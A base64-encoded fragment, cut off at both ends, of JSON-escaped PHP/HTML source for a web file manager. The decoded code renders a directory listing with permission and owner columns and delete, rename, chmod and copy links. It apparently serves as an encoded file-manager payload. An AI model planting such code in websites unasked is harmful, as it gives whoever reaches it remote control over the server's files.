ImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDaGFuZ2UnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvcD5cbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvZGl2PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmZtX3Nob3dfaGVhZGVyKCk7XG5mbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG5mbV9zaG93X21lc3NhZ2UoKTtcblxuJG51bV9maWxlcyA9IGNvdW50KCRmaWxlcyk7XG4kbnVtX2ZvbGRlcnMgPSBjb3VudCgkZm9sZGVycyk7XG4kYWxsX2ZpbGVzX3NpemUgPSAwO1xuPz5cbjxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIiBjbGFzcz1cInB0LTNcIj5cbiAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImdyb3VwXCIgdmFsdWU9XCIxXCI+XG4gICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgIDxkaXYgY2xhc3M9XCJ0YWJsZS1yZXNwb25zaXZlXCI+XG4gICAgICAgIDx0YWJsZSBjbGFzcz1cInRhYmxlIHRhYmxlLWJvcmRlcmVkIHRhYmxlLWhvdmVyIHRhYmxlLXNtXCIgaWQ9XCJtYWluLXRhYmxlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8dGhlYWQgY2xhc3M9XCJ0aGVhZC13aGl0ZVwiPlxuICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGggc3R5bGU9XCJ3aWR0aDozJVwiIGNsYXNzPVwiY3VzdG9tLWNoZWNrYm94LWhlYWRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIiBpZD1cImpzLXNlbGVjdC1hbGwtaXRlbXNcIiBvbmNsaWNrPVwiY2hlY2tib3hfdG9nZ2xlKClcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtbGFiZWxcIiBmb3I9XCJqcy1zZWxlY3QtYWxsLWl0ZW1zXCI+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdGg+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnTmFtZScpID8+PFwvdGg+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnU2l6ZScpID8+PFwvdGg+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnTW9kaWZpZWQnKSA/PjxcL3RoPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scyk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ1Blcm1zJykgPz48XC90aD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnT3duZXInKSA/PjxcL3RoPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ0FjdGlvbnMnKSA/PjxcL3RoPlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPFwvdGhlYWQ+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgaWYgKCRwYXJlbnQgIT09IGZhbHNlKSB7XG4gICAgICAgICAgICA/PlxuICAgICAgICAgICAgICAgIDx0cj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cIm5vc29ydFwiPjxcL3RkPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiIGRhdGEtc29ydD48YSBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoJHBhcmVudCkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnQgZ28tYmFja1wiPjxcL2k+IC4uPFwvYT48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiYm9yZGVyLTBcIiBkYXRhLW9yZGVyPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiIGRhdGEtb3JkZXI+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImJvcmRlci0wXCI+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSB7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiYm9yZGVyLTBcIj48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICRpaSA9IDMzOTk7XG4gICAgICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRpc19saW5rID0gaXNfbGluaygkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ljb24tbGlua19mb2xkZXInIDogJ2ZhIGZhLWZvbGRlci1vJztcbiAgICAgICAgICAgICAgICAkbW9kaWZfcmF3ID0gZmlsZW10aW1lKCRwYXRoIC4gJ1wvJyAuICRmKTtcbiAgICAgICAgICAgICAgICAkbW9kaWYgPSBkYXRlKEZNX0RBVEVUSU1FX0ZPUk1BVCwgJG1vZGlmX3Jhdyk7XG4gICAgICAgICAgICAgICAgJGRhdGVfc29ydGluZyA9IHN0cnRvdGltZShkYXRlKFwiRiBkIFkgSDppOnMuXCIsICRtb2RpZl9yYXcpKTtcbiAgICAgICAgICAgICAgICAkZmlsZXNpemVfcmF3ID0gXCJcIjtcbiAgICAgICAgICAgICAgICAkZmlsZXNpemUgPSBsbmcoJ0ZvbGRlcicpO1xuICAgICAgICAgICAgICAgICRwZXJtcyA9IHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRwYXRoIC4gJ1wvJyAuICRmKSksIC00KTtcbiAgICAgICAgICAgICAgICAkb3duZXIgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsgXG4gICAgICAgICAgICAgICAgJGdyb3VwID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7XG4gICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpIHtcbiAgICAgICAgICAgICAgICAgICAgdHJ5IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRvd25lcl9pZCA9IGZpbGVvd25lcigkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoJG93bmVyX2lkICE9IDApIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3duZXJfaW5mbyA9IHBvc2l4X2dldHB3dWlkKCRvd25lcl9pZCk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvd25lcl9pbmZvKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvd25lciA9ICAkb3duZXJfaW5mbztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAkZ3JvdXBfaWQgPSBmaWxlZ3JvdXAoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwX2luZm8gPSBwb3NpeF9nZXRncmdpZCgkZ3JvdXBfaWQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRncm91cF9pbmZvKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwID0gICRncm91cF9pbmZvO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yX2xvZyhcImV4Y2VwdGlvbjpcIiAuICRlLT5nZXRNZXNzYWdlKCkpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICA8dHI+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiY3VzdG9tLWNoZWNrYm94LXRkXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImN1c3RvbS1jb250cm9sIGN1c3RvbS1jaGVja2JveFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgY2xhc3M9XCJjdXN0b20tY29udHJvbC1pbnB1dFwiIGlkPVwiPD9waHAgZWNobyAkaWkgPz5cIiBuYW1lPVwiZmlsZVtdXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYygkZikgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtbGFiZWxcIiBmb3I9XCI8P3BocCBlY2hvICRpaSA/PlwiPjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD08P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZpbGVuYW1lXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICdcLycgLiAkZiwgJ1wvJykpID8+XCI+PGkgY2xhc3M9XCI8P3BocCBlY2hvICRpbWcgPz5cIj48XC9pPiA8P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICgkaXNfbGluayA/ICcgJnJhcnI7IDxpPicgLiByZWFkbGluaygkcGF0aCAuICdcLycgLiAkZikgLiAnPFwvaT4nIDogJycpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj1cImEtPD9waHAgZWNobyBzdHJfcGFkKCRmaWxlc2l6ZV9yYXcsIDE4LCBcIjBcIiwgU1RSX1BBRF9MRUZUKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGZpbGVzaXplOyA/PlxuICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtb3JkZXI9XCJhLTw/cGhwIGVjaG8gJGRhdGVfc29ydGluZzsgPz5cIj48P3BocCBlY2hvICRtb2RpZiA/PjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scyk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+PGEgdGl0bGU9XCJDaGFuZ2UgUGVybWlzc2lvbnNcIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiPjw/cGhwIGVjaG8gJHBlcm1zID8+PFwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRvd25lclsnbmFtZSddIC4gJzonIC4gJGdyb3VwWyduYW1lJ10gPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiaW5saW5lLWFjdGlvbnNcIj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiIG9uY2xpY2s9XCJjb25maXJtRGFpbG9nKGV2ZW50LCAnMTAyOCcsJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSAuICcgJyAuIGxuZygnRm9sZGVyJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+JywgdGhpcy5ocmVmKTtcIj4gPGkgY2xhc3M9XCJmYSBmYS10cmFzaC1vXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1JlbmFtZScpID8+XCIgaHJlZj1cIiNcIiBvbmNsaWNrPVwicmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1wZW5jaWwtc3F1YXJlLW9cIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnQ29weVRvJykgPz4uLi5cIiBocmVmPVwiP3A9JmFtcDtjb3B5PTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICdcLycgLiAkZiwgJ1wvJykpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlcy1vXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEaXJlY3RMaW5rJykgPz5cIiBocmVmPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmIC4gJ1wvJykgPz5cIiB0YXJnZXQ9XCJfYmxhbmtcIj48aSBjbGFzcz1cImZhIGZhLWxpbmtcIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBmbHVzaCgpO1xuICAgICAgICAgICAgICAgICRpaSsrO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJGlrID0gODAwMjtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRpc19saW5rID0gaXNfbGluaygkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ZhIGZhLWZpbGUtdGV4dC1vJyA6IGZtX2dldF9maWxlX2ljb25fY2xhc3MoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICRtb2RpZl9yYXcgPSBmaWxlbXRpbWUoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICRtb2RpZiA9IGRhdGUoRk1fREFURVRJTUVfRk9STUFULCAkbW9kaWZfcmF3KTtcbiAgICAgICAgICAgICAgICAkZGF0ZV9zb3J0aW5nID0gc3RydG90aW1lKGRhdGUoXCJGIGQgWSBIOmk6cy5cIiwgJG1vZGlmX3JhdykpO1xuICAgICAgICAgICAgICAgICRmaWxlc2l6ZV9yYXcgPSBmbV9nZXRfc2l6ZSgkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGZpbGVzaXplID0gZm1fZ2V0X2ZpbGVzaXplKCRmaWxlc2l6ZV9yYXcpO1xuICAgICAgICAgICAgICAgICRmaWxlbGluayA9ICc/cD0nIC4gdXJsZW5jb2RlKEZNX1BBVEgpIC4gJyZhbXA7dmlldz0nIC4gdXJsZW5jb2RlKCRmKTtcbiAgICAgICAgICAgICAgICAkYWxsX2ZpbGVzX3NpemUgKz0gJGZpbGVzaXplX3JhdztcbiAgICAgICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoZGVjb2N0KGZpbGVwZXJtcygkcGF0aCAuICdcLycgLiAkZikpLCAtNCk7XG4gICAgICAgICAgICAgICAgJG93bmVyID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7IFxuICAgICAgICAgICAgICAgICRncm91cCA9IGFycmF5KCduYW1lJyA9PiAnPycpO1xuICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7XG4gICAgICAgICAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkb3duZXJfaWQgPSBmaWxlb3duZXIoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvd25lcl9pZCAhPSAwKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJG93bmVyX2luZm8gPSBwb3NpeF9nZXRwd3VpZCgkb3duZXJfaWQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkb3duZXJfaW5mbykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3duZXIgPSAgJG93bmVyX2luZm87XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwX2lkID0gZmlsZWdyb3VwKCRwYXRoIC4gJ1wvJyAuICRmKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICRncm91cF9pbmZvID0gcG9zaXhfZ2V0Z3JnaWQoJGdyb3VwX2lkKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZ3JvdXBfaW5mbykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRncm91cCA9ICAkZ3JvdXBfaW5mbztcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlcnJvcl9sb2coXCJleGNlcHRpb246XCIgLiAkZS0+Z2V0TWVzc2FnZSgpKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPHRyPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImN1c3RvbS1jaGVja2JveC10ZFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIiBpZD1cIjw/cGhwIGVjaG8gJGlrID8+XCIgbmFtZT1cImZpbGVbXVwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoJGYpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz1cImN1c3RvbS1jb250cm9sLWxhYmVsXCIgZm9yPVwiPD9waHAgZWNobyAkaWsgPz5cIj48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD48P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD08P3BocCBlY2hvIGZtX2VuYygkZikgPz4+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZmlsZW5hbWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheShzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmLCBQQVRISU5GT19FWFRFTlNJT04pKSwgYXJyYXkoJ2dpZicsICdqcGcnLCAnanBlZycsICdwbmcnLCAnYm1wJywgJ2ljbycsICdzdmcnLCAnd2VicCcsICdhdmlmJykpKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgJGltYWdlUHJldmlldyA9IGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGYpOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiPD9waHAgZWNobyAkZmlsZWxpbmsgPz5cIiBkYXRhLXByZXZpZXctaW1hZ2U9XCI8P3BocCBlY2hvICRpbWFnZVByZXZpZXcgPz5cIiB0aXRsZT1cIjw/cGhwIGVjaG8gZm1fZW5jKCRmKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIjw/cGhwIGVjaG8gJGZpbGVsaW5rID8+XCIgdGl0bGU9XCI8P3BocCBlY2hvICRmID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPVwiPD9waHAgZWNobyAkaW1nID8+XCI+PFwvaT4gPD9waHAgZWNobyBmbV9jb252ZXJ0X3dpbihmbV9lbmMoJGYpKSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gKCRpc19saW5rID8gJyAmcmFycjsgPGk+JyAuIHJlYWRsaW5rKCRwYXRoIC4gJ1wvJyAuICRmKSAuICc8XC9pPicgOiAnJykgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDx0ZCBkYXRhLW9yZGVyPVwiYi08P3BocCBlY2hvIHN0cl9wYWQoJGZpbGVzaXplX3JhdywgMTgsIFwiMFwiLCBTVFJfUEFEX0xFRlQpOyA/PlwiPjxzcGFuIHRpdGxlPVwiPD9waHAgcHJpbnRmKCclcyBieXRlcycsICRmaWxlc2l6ZV9yYXcpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAkZmlsZXNpemU7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9zcGFuPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj1cImItPD9waHAgZWNobyAkZGF0ZV9zb3J0aW5nOyA/PlwiPjw/cGhwIGVjaG8gJG1vZGlmID8+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz48YSB0aXRsZT1cIjw/cGhwIGVjaG8gJ0NoYW5nZSBQZXJtaXNzaW9ucycgPz5cIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiPjw/cGhwIGVjaG8gJHBlcm1zID8+PFwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvIGZtX2VuYygkb3duZXJbJ25hbWUnXSAuICc6JyAuICRncm91cFsnbmFtZSddKSA/PjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiaW5saW5lLWFjdGlvbnNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpID8+XCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtkZWw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+XCIgb25jbGljaz1cImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMDksICc8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgLiAnICcgLiBsbmcoJ0ZpbGUnKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZik7ID8+JywgdGhpcy5ocmVmKTtcIj4gPGkgY2xhc3M9XCJmYSBmYS10cmFzaC1vXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1JlbmFtZScpID8+XCIgaHJlZj1cIiNcIiBvbmNsaWNrPVwicmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1wZW5jaWwtc3F1YXJlLW9cIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnQ29weVRvJykgPz4uLi5cIlxuICAgICAgICAgICAgICAgICAgICAgICAgIC